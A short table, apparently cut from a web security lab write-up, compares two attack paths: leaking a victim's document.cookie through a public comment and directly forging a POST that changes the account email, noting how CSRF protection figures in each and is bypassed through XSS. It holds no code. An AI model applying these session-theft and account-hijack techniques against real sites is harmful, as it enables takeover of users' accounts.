| **Exfiltration** | Public comment containing document.cookie | Direct forged POST to change email |
| **CSRF role** | Needed to submit a forged comment that leaks data | Needed to protect account update, but bypassed via XSS |
| **Attacker’s use** | Manually swaps in stolen cookie | Automatically hijacks victim’s account action |